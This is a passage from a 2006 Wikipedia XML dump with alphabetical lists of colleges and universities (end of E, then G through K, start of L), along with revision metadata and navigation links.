*[[École Normale Supérieure]]
*[[École Normale Supérieure Lettres et Sciences Humaines]]
*[[École Normale Supérieure de Cachan]]
*[[École Normale Supérieure de Lyon]]
======Ecole P-Ecole S======
*[[École Polytechnique]]
*[[École Polytechnique de Montréal]]
*[[École Polytechnique de l'Université de Nantes]], ([[Nantes]], [[France]])
*[[École Polytechnique Fédérale de Lausanne]], [[Lausanne]], [[Switzerland]]
*[[École Pour l'Informatique et les Techniques Avancées]]
*[[École Supérieure d'Électricité]]
*[[École Supérieure d'Ingenieur en Électronique et Électrotechnique]]
*[[École Supérieure de Commerce de Marseille-Provence]]
*[[École Supérieure de Commerce de Paris]]
*[[École Supérieure en Sciences Informatiques]]
==Ed-En==
*[[Edgewood College]]
*[[Edinburgh University]]
*[[Edith Cowan University ]]
*[[Edmonds Community College]]
*[[Ege University]]
*[[Ehime University]]
*[[ETH Zürich|Eidgenössische Technische Hochschule in Zürich (ETHZ)]], [[Zürich]], [[Switzerland]]
*[[Eindhoven University of Technology]] ([[Eindhoven]], [[The Netherlands]])
*[[El Centro College]] (part of the [[DCCCD]])
*[[El Colegio de Mexico, A.C.]]
*[[El Colegio de Michoacan]]
*[[El Paso Community College]]
*[[Elizabethtown Community College]]
*[[Elmira College]]
*[[Elon College]]
*[[Embry Riddle Aeronautical University, Arizona]]
*[[Embry Riddle Aeronautical University, Florida]]
*[[Emerson College]]
*[[Emmanuel College, Boston|Emmanuel College]]
*[[Emmaus Bible College]]
*[[Emory and Henry College]]
*[[Emory University]]
*[[Empire State Baptist Seminary]]
*[[Emporia State University]]
*[[Endicott College]]
==Eo-Et==
*[[Eotvos Lorand University of Sciences]]
*[[Erasmus_Universiteit|Erasmus University Rotterdam]] ([[Rotterdam]], [[The Netherlands]])
*[[Erie Community College]]
*[[Erindale College]]
*[[Ernst Moritz Arndt University of Greifswald]], [[Greifswald]], [[Germany]]
*[[Erskine College]]
*[[Escola Federal de Engenharia de Itajubá]]
*[[Escola Superior de Educacao de Setubal]]
*[[Escola Superior de Propaganda e Marketing]]
*[[Escola Tecnica Federal de Goia]]
*[[Escola de Administracao de Empresas de Sao Paulo]] ([[Fundacao Getulio Vargas]])
*[[Escuela Nacional de Marina Mercante]]
*[[Escuela Superior Politecnica del Litoral]]
*[[Escuela Tecnica Superior de Ingenieros de Minas de Oviedo]]
*[[Escuela Universitaria de Estudios Empresariales]]
*[[Escuela de Administracion de Negocios para Graduados]]
*[[Escuela de Agricultura de la Region Tropical Humeda (EARTH)]]
*[[Escuela de Agricultura de la Región Tropical Húmeda (EARTH)]]
*[[Estrella Mountain Community College]]
*[[Etisalat College of Engineering]]
*[[ETH Zürich]], [[Zürich]], [[Switzerland]]

==Eu-Ex==
*[[Europa-Universitat Viadrina Frankfurt (Oder)]]
*[[European Business School Schlos Reichartshausen]]
*[[European Graduate School]] ([[EGS]]), [[Saas-Fee]], [[Switzerland]]
*[[European Institute of Business Administration]]
*[[European School of Economics]]
*[[European University Institute]]
*[[European University of Lefke]]
*[[Everett Community College]]
*[[Evergreen State College]]
*[[Evergreen Valley College]]
*[[Ewha Women's University]]
*[[University of Exeter]]

''See also:'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|E]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with G</title>
    <id>6480</id>
    <revision>
      <id>39694027</id>
      <timestamp>2006-02-15T05:02:54Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/193.188.77.2|193.188.77.2]] ([[User talk:193.188.77.2|talk]]) to last version by Vizcarra</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- '''G''' -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Godollo University of Agricultural Sciences]]
#[[Goteborgs Universitet]]
#[[GMI Engineering and Management Institute]]
#[[GNA - Globewide Network Academy, Inc.]]
#[[Gainesville College]]
#[[Gajra Raja Medical College]]
#[[Gallaudet University]]
#[[Galveston College]]
#[[Gannon University]]
#[[GateWay Community College]]
#[[Gateshead College]]
#[[Gazi University]]
#[[Gdansk Medical Academy]]
#[[Gdansk Technical University]]
#[[Gdynia Maritime Academy]]
#[[Gembloux Faculte Universitaire des Sciences Agronomiques]]
#[[Geneva College]]
#[[George Fox University]]
#[[George Mason University]]
#[[George Stephenson College]], [[University of Durham]]
#[[George Washington University]]
#[[Georgetown College]]
#[[Georgetown University]]
#[[Georgia Institute of Technology]]
#[[Georgia Military College]]
#[[Georgia Southern University]]
#[[Georgia Southwestern College]]
#[[Georgia State University]]
#[[Georgian College of Applied Arts and Technology]]
#[[German Sport University Cologne]]
#[[Gettysburg College]]
#[[Girne American University]]
#[[Gjovik College]]
#Glasgow University - see [[University of Glasgow]]
#[[Glendale Community College]]
#[[Goddard College]]
#[[Golden Gate University]]
#[[Golden West College]]
#[[Goldey-Beacom College]]
#[[Goldsmiths College, University of London]]
#[[Gonzaga University]]
#[[Gooding Institute of Nurse Anesthesia]]
#[[Gordon College]]
#[[Gordon-Conwell Theological Seminary]]
#[[Gorgan University]], [[Gorgan]], [[Iran]]
#[[Goshen College]]
#[[Gothenburg University]]
#[[Gothenburg School of Economics and Commercial Law]]
#[[Goucher College]]
#[[Government College of Engineering, Pune]]
#[[Government College of Engineering - Salem]]
#[[Government College of Technology, Coimbatore]]
#[[Grace College]]
#[[Graceland College]]
#[[Graduate Institute of International Studies]]
#[[Graduate School, USDA]]
#[[Grand Rapids Baptist Seminary]]
#[[Grand Rapids Community College]]
#[[Grand Valley State University]]
#[[Grant MacEwan Community College]]
#[[Grays Harbor Community College]]
#[[Grayson County College]]
#[[Graz University of Technology]]
#[[Green Mountain College]]
#[[Greenville Technical College]]
#[[Gresham College]]
#[[Grey College]], [[University of Durham]]
#[[Griffith University]]
#[[Grinnell College]]
#[[University of Groningen|Groningen University]]
#[[Grossmont Community College]]
#[[Grossmont-Cuyamaca Community College District]]
#[[Grove City College]]
#[[Guilan University of Medical Sciences]] ([[Rasht]], [[Iran]])
#[[Guildford College]]
#[[Guilford College]]
#[[Guilford Technical Community College]]
#[[Gulf Coast Community College]]
#[[Gunma University]]
#[[Gustavus Adolphus College]]
#[[Gutenberg College]]
#[[Gwynedd Mercy College]]
#[[Gyeongsang National University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|G]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with H</title>
    <id>6481</id>
    <revision>
      <id>35577200</id>
      <timestamp>2006-01-17T19:51:05Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- '''H''' -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
==Ha==
===Haa-Han===
#[[Haagse Hogeschool]]
#[[Hacettepe University]]
#[[Hachinohe Institute of Technology]]
#[[Hackney College]]
#[[Hahnemann University]]
#[[Hallym University]]
#[[Halmstad University]]
#[[Hame Polytechnic]]
#[[Hamilton College]]
#[[Hamline University]]
#[[Hampden-Sydney College]]
#[[Hampshire College]]
#[[Hampton University]]
#[[Handelshochschule Leipzig (HHL)]]
#[[Hangzhou University]]
#[[Hankook University of Foreign Studies]]
#[[Hannan University]]
#[[Hanover College]]
#[[Hanyang University]]
#[[Hanzehogeschool]]
===Har-Haw===
#[[Harbin Engineering University]]
#[[Harbin Institute of Technology]]
#[[Harding University]]
#[[Hartland Institute of Health and Education]]
#[[Harvard Graduate School of Education]]
#[[Harvard University]] ([[Cambridge, Massachusetts]])
#[[Harvey Mudd College]]
#[[University Hasselt|Hasselt University]]
#[[Hastings College]]
#[[Hastings College of Law]]
#[[Hatfield College]], [[University of Durham]]
#[[Hautes Etudes Commerciales]]
#[[Haverford College]]
#[[Hawaii Pacific University]]

==He==
#[[Heald Institute Of Technology]]
#[[Hebrew College]]
#[[Hebrew Union College-Jewish Institute of Religion]]
#[[Hebrew University of Jerusalem]]
#[[Heidelberg College]]
#[[Heinrich-Heine-Universitat Dusseldorf]]
#[[Helsinki Business Polytechnic]]
#[[Helsinki School of Economics]]
#[[Helsinki University of Technology]]
#[[Henderson State University]]
#[[Hendrix College]]
#[[Heriot-Watt University]]
#[[Heritage College (Gatineau)|Heritage College]] ([[Gatineau, Quebec]])
#[[Heritage College (Toppenish)|Heritage College]] ([[Toppenish, Washington]])
#[[University of Hertfordshire]]
#[[Hesston College]]

==Hi==
#[[High Point University]]
#[[Higher Colleges of Technology]]
#[[Hill College]]
#[[Hillsdale College]]
#[[Hiram College]]
#[[Hirosaki University]]
#[[Hiroshima City University]]
#[[Hiroshima Institute of Technology]]
#[[Hiroshima Shudo University]]
#[[Hiroshima University]]
#[[Hiroshima-Denki Institute of Technology]]
#[[Hitotsubashi University]]
==Ho==
===Hob-Hok===
#[[Hobart and William Smith Colleges]]
#[[Hochschule fur Architektur und Bauwesen Weimar]]
#[[Hochschule fur Druck Stuttgart]]
#[[Hochschule fur Musik und Darstellende Kunst Mozarteum]]
#[[Hochschule fur Musik und Darstellende Kunst in Graz]]
#[[Hochschule fur Technik und Wirtschaft Dresden]]
#[[Hochschule fur Technik und Wirtschaft Mittweida]]
#[[Hochschule fur Technik und Wirtshaft Zwickau (FH)]]
#[[Hochschule fur Technik, Wirtschaft und Kultur Leipzig]]
#[[Hochschule fur Technik,Wirtshaft, und Sozialwesen Zittau/Gorlitz(FH)]]
#[[Hocking College]]
#[[Hofstra University]]
#[[Hogeschool Eindhoven]]
#[[Hogeschool Sint-Lukas Brussel]]
#[[Hogeschool van Amsterdam]]
#[[Hogeschool van Utrecht]]
#[[Hogskolen i Bodo]]
#[[Hogskolen i Hedmark]]
#[[Hogskolen i Oslo]]
#[[Hogskolan pa Gotland]]
#[[Hohai University]]
#[[Hokkaido University]]
#[[Hokkaido University of Education]]

===Hol-How===
#[[Hólar University College]]
#[[Holland College]]
#[[Holyoke Community College]]
#[[Hong Kong Baptist University]]
#[[Hong Kong Polytechnic University]]
#[[Hong Kong University of Science and Technology]]
#[[Honolulu Community College]]
#[[Hood College]]
#[[Hope College]]
#[[Houghton College]]
#[[Houston Community College System]]
#[[Howard Community College]]
#[[Howard University]]

==Hu==
#[[HuaFan College of Humanitites and Technology]]
#[[Huazhong University of Science and Technology]], [[Wuhan]], [[China]]
#[[Huddersfield University]]
#[[Hudson Valley Community College]]
#[[Humber College of Applied Arts and Technology]]
#[[Humboldt State University ]]
#[[Humboldt-University, Berlin]]
#[[Hunan Agricultural University]]
#[[Hung-Kuang College of Nursing]]
#[[Huntingdon College]]
#[[Huntington College]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|H]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with I</title>
    <id>6482</id>
    <revision>
      <id>40623777</id>
      <timestamp>2006-02-21T22:23:04Z</timestamp>
      <contributor>
        <username>Pjb007</username>
        <id>957380</id>
      </contributor>
      <comment>Added Isle of Man College</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- '''I''' -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[ICI University]]
#[[IJselland Polytechnic]]
#[[Idaho State University]]
#[[Illinois Benedictine College]]
#[[Illinois College]]
#[[Illinois Institute of Technology]]
#[[Illinois State University]]
#[[Illinois Wesleyan University]]
#[[Imam Hossein University, Tehran]]
#[[Imperial College London]]
#[[Imperial Valley College]]
#[[Incarnate Word College]]
#[[Independent University of Moscow]]
#[[Indian Institute of Management, Calcutta]]
#[[Indian Institute of Management, Lucknow]]
#[[Indian Institute of Science]]
#[[Indian Institute of Social Welfare and Business Management]]
#[[IIT Bombay]]
#[[IIT Delhi]]
#[[IIT Guwahati]]
#[[IIT Kanpur]]
#[[IIT Kharagpur]]
#[[IIT Madras]]
#[[IIT Roorkee]]
#[[Indiana Institute of Technology]]
#[[Indiana State University]]
#[[Indiana University system|Indiana University]]
#[[Indiana University Bloomington]]
#[[Indiana University Kokomo]]
#[[Indiana University of Pennsylvania]]
#[[IUPUI|Indiana University Purdue University, Indianapolis]]
#[[Indiana University South Bend]]
#[[Indiana University Southeast]]
#[[Indiana Wesleyan University]]
# [[IGNOU]]
#[[Ingenieurschule HTL Chu]]
#[[Inha University]]
#[[Institut d'Informatique d'Entreprise]]
#[[Institut des Sciences de l'Ingenieur de Montpellier]]
#[[Institut f. Semantische Informationsverarbeitung]]
#[[Institut fur Lasertechnik]]
#[[Institut Francais de Recherche pour l'Exploitation de la Mer]]
#[[Institut Jozef Stefan]]
#[[Institut national agronomique Paris-Grignon]]
#[[Institut National de la Recherche Scientifique]]
#[[Institut National de Physique Nucléaire et de Physique des Particules]]
#[[Institut National des Sciences Appliquées de Lyon]]
#[[Institut National des Sciences Appliquees de Toulouse]]
#[[Institut National des Télécommunications]]
#[[Institut National Polytechnique de Grenoble]]
#[[Institut National Polytechnique de Toulouse]]
#[[Institut Superieur d'Informatique et d'Automatique]]
#[[Institut Superieur de Technologie]]
#[[Institut Superieur de Gestion]]
#[[Institut Superieure D'Electronique du Nord]]
#[[Institut Teknologi Bandung]]
#[[Institut Universitaire de Technologie de Sceaux]]
#[[Institut Universitari de l'Audiovisual]]
#[[Institute for Mathematical Sciences]]
#[[Institute of Clinical Pharmacology and Toxicology]]
#[[Institute of Historical Research]]
#[[Institute of Industrial Science]]
#[[Institute of Paper Science and Technology]]
#[[Institute of Technology, Benaras Hindu University]]
#[[Institute of Telecommunications and Information Technology]]
#[[Instituto Centroamericano de Adminstracion de Empresas]]
#[[Instituto Militar de Engenharia]]
#[[Instituto Peruano de Administracion de Empresas]]
#[[Instituto Politécnico Nacional]]
#[[Instituto Politecnico do Porto]]
#[[Instituto Superior de Ciencias do Trabalho e da Empresa]]
#[[Instituto Superior de Transportes]]
#[[Instituto Superior Técnico]]
#[[Instituto Tecnologico de Costa Rica]]
#[[Instituto Tecnologico de Merida]]
#[[ITESM|Instituto Tecnológico y de Estudios Superiores de Monterrey (ITESM)]]
#[[Instituto Tecnológico y de Estudios Superiores de Monterrey, Campus Chihuahua]]
#[[Instituto Tecnológico y de Estudios Superiores de Monterrey, Campus Ciudad de México]]
#[[Instituto Tecnológico y de Estudios Superiores de Monterrey, Campus Guadalajara]]
#[[Instituto Tecnológico y de Estudios Superiores de Monterrey, Campus Guaymas]]
#[[Instituto Tecnológico y de Estudios Superiores de Monterrey, Campus Sonora Norte]]
#[[Instituto Tecnológico y de Estudios Superiores de Occidente]]
#[[Instituto de Ciencias de la Educacion]]
#[[Inter American University]]
#[[Intercollege]]
#[[Intercultural Open University]]
#[[International American University]]
#[[International College Penang]]
#[[International Islamic University Malaysia]]
#[[International Reform University]]
#[[International School for Advanced Studies]]
#[[International University]] ([[Cambodia]])
#[[International University Bremen]]
#[[International University College]]
#[[International University of Chabahar]] ([[Iran]])
#[[International University of Japan]]
#[[International University of Fundamental Studies St Petersburg Russia]]
#[[Interstaatliche Ingenieurschule Neu-Technikum Buchs (NTB)]]
#[[Interstate Institute of Technology St. Gallen]]
#[[Iona College]]
#[[Iowa State University]] ([[Ames, Iowa|Ames]], [[Iowa]], [[United States|USA]])
#[[Iran University of Science and Technology, Tehran]]
#[[Iranian Academy of Medical Sciences, Tehran]]
#[[Isfahan University of Medical Sciences]]
#[[Isfahan University of Technology]]
#[[Isle of Man College]]
#[[Istanbul Technical University]]
#[[Istituto Universitario di Architettura (Venezia)]]
#[[Istituto di Teologia Ecumenico-Patristica Greco-Bizantina «San Nicola»]]
#[[Itasca Community College]]
#[[Ithaca College]]
#[[Ivanovo State Power University]]
#[[Ivanovo State University of Chemistry and Technology]]
#[[Ivy Tech State College]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|I]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with J</title>
    <id>6483</id>
    <revision>
      <id>35577326</id>
      <timestamp>2006-01-17T19:51:54Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- '''J''' -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[J. E. Purkyne University]]
#[[Jackson State Community College]]
#[[Jackson State University]]
#[[Jacksonville State University]]
#[[Jacksonville State University, Alabama]]
#[[Jacksonville University]]
#[[Jadavpur University]]
#[[Jagiellonian University]] ([[Cracow, Poland]])
#[[James Cook University]]
#[[James Madison University]]
#[[Jamestown College]]
#[[Janus Pannonius University]]
#[[Japan Advanced Institute of Science and Technology]]
#[[Japan Women's University]]
#[[Jawaharlal Nehru Technological University]]
#[[Jawaharlal Nehru University]]
#[[Jefferson College]]
#[[Jefferson Community College]]
#[[Jefferson State Community College]]
#[[Jessenius Faculty of Medicine]]
#[[Jilin University]]
#[[Jilin University (Alumni)]]
#[[Jin Wen College]]
#[[Johann Wolfgang Goethe Universät, Frankfurt]]
#[[Johannes Gutenberg Universität, Mainz]]
#[[Johannes Kepler University of Linz]]
#[[John A. Logan College]]
#[[John Abbott College]]
#[[John Brown University]]
#[[John Carroll University]]
#[[John F. Kennedy School of Government]]
#[[John F. Kennedy University]]
#[[John Marshall Law School]]
#[[John Snow College]], [[University of Durham]]
#[[Johns Hopkins University]]
#[[Johnson &amp; Wales University, Colorado]]
#[[Johnson &amp; Wales University, Florida]]
#[[Johnson &amp; Wales University, North Carolina]]
#[[Johnson &amp; Wales University]]
#[[Johnson &amp; Wales University, South Carolina]]
#[[Johnson &amp; Wales University, Virginia]]
#[[Johnson C. Smith University]]
#[[Johnson County Community College]]
#[[Joliet Junior College]]
#[[Jones College (Jacksonville)]]
#[[Jones College (Rice University)]]
#[[Jones County Junior College]]
#[[Jonkoping International Business School]]
#[[Jonkoping University]]
#[[Jordanhill College]]
#[[Jordan University of Science and Technology]]
#[[Jschool: Journalism Education &amp; Training, Australia]]
#[[Judson College]]
#[[Juhasz Gyula Teacher Training College]]
#[[Julius-Maximilians-Universitat, Wurzburg]]
#[[Juniata College]], Huntingdon, PA, USA

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|J]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with K</title>
    <id>6484</id>
    <revision>
      <id>35577391</id>
      <timestamp>2006-01-17T19:52:20Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- '''K''' -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Kagoshima University]]
#[[Kakatiya Institute of Technology and Science]]
#[[Kalamazoo College]]
#[[Kamloops International College]]
#[[Kanazawa University]]
#[[Kangwon National University]]
#[[Kansai University]]
#[[Kansas State University]]
#[[Kanto Gakuin University]]
#[[Kao-Yuan Junior College of Technology and Commerce]]
#[[Kara Harb Okulu]]
#[[Karl Franzens University]]
#[[Karlstad University]]
#[[Karolinska Institute]]
#[[Kasetsart University]]
#[[Katholieke Hogeschool Sint-Lieven]]
#[[Katholieke Universiteit Leuven]]
#[[Katholische Universitat Eichstatt]]
#[[Katolicki Uniwersytet Lubelski (KUL)]]
#[[Kazan State University]]
#[[Kean College of New Jersey]]
#[[Keck Graduate Institute of Applied Life Sciences]]
#[[Keele University]]
#[[Keene State College]]
#[[Keimyung University]]
#[[Keio University]]
#[[Keio University of Science and Technology]]
#[[Kemper Military School|Kemper Military School and College]]
#[[Kendall College of Art and Design]]
#[[Kent State University]]
#[[Kenyon College]]
#[[Kermanshah University of Medical Sciences]] ([[Iran]])
#[[Kettering University]]
#[[Keyin Technical College]]
#[[Khon Kaen University]]
#[[King Alfred's College]]
#[[King College]]
#[[KFUPM|King Fahd University of Petroleum and Minerals]] ([[Dhahran]], [[Saudi Arabia]])
#[[King's College, Cambridge]]
#[[King's College London]]
#[[King's College, Halifax]]
#[[King's College, Hong Kong]]
#[[King's College School of Medicine and Dentistry]] (part of [[King's College London]])
#[[Kingston University]]
#[[Kinjo Gakuin University]]
#[[Kirksville College of Osteopathic Medicine]]
#[[Kirtland Community College]]
#[[Kish University]] ([[Kish island]], [[Iran]])
#[[Kishwaukee College]]
#[[Kitasato University]]
#[[Klaipeda University]]
#[[K.N.Toosi University of Technology]] ([[Tehran]], [[Iran]])
#[[Knox College]]
#[[Knox College, Otago]]
#[[Kobe University]]
#[[Koc University]]
#[[Kochi National College of Technology]]
#[[Kochi University]]
#[[Kodiak College]]
#[[Kogakuin University]]
#[[Kon-Kuk University]]
#[[Konan University]]
#[[Kongu Engineering College]]
#[[Kookmin University]]
#[[Korea Advanced Institute of Science and Technology]] (KAIST)
#[[Korea University]]
#Kristianstad University College -- see [[University College of Kristianstad]]
#[[Kumamoto National College of Technology]]
#[[Kumamoto Prefecture College]]
#[[Kumamoto University]]
#Kungliga Tekniska Högskolan -- see [[Royal Institute of Technology]]
#[[Kurume University]]&amp;#12288;([[Japan]])
#[[Kurume institute of Technology]]
#[[Kutztown University of Pennsylvania]]
#[[Kuwait University]]
#[[Kwangju University]]
#[[Kwangwoon University]]
#[[Kwansei Gakuin University]]
#[[Kwantlen University College]]
#[[Kyiv University]]
#[[Kyoto Institute of Technology]]
#[[Kyoto University]]
#[[KyungSung University]]
#[[Kyungpook National University]]
#[[Kyushu Institute of Design]]
#[[Kyushu Institute of Technology]]
#[[Kyushu Lutheran College]]
#[[Kyushu Sangyo University]]
#[[Kyushu University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|K]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with L</title>
    <id>6485</id>
    <revision>
      <id>35577428</id>
      <timestamp>2006-01-17T19:52:39Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- '''L''' -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- 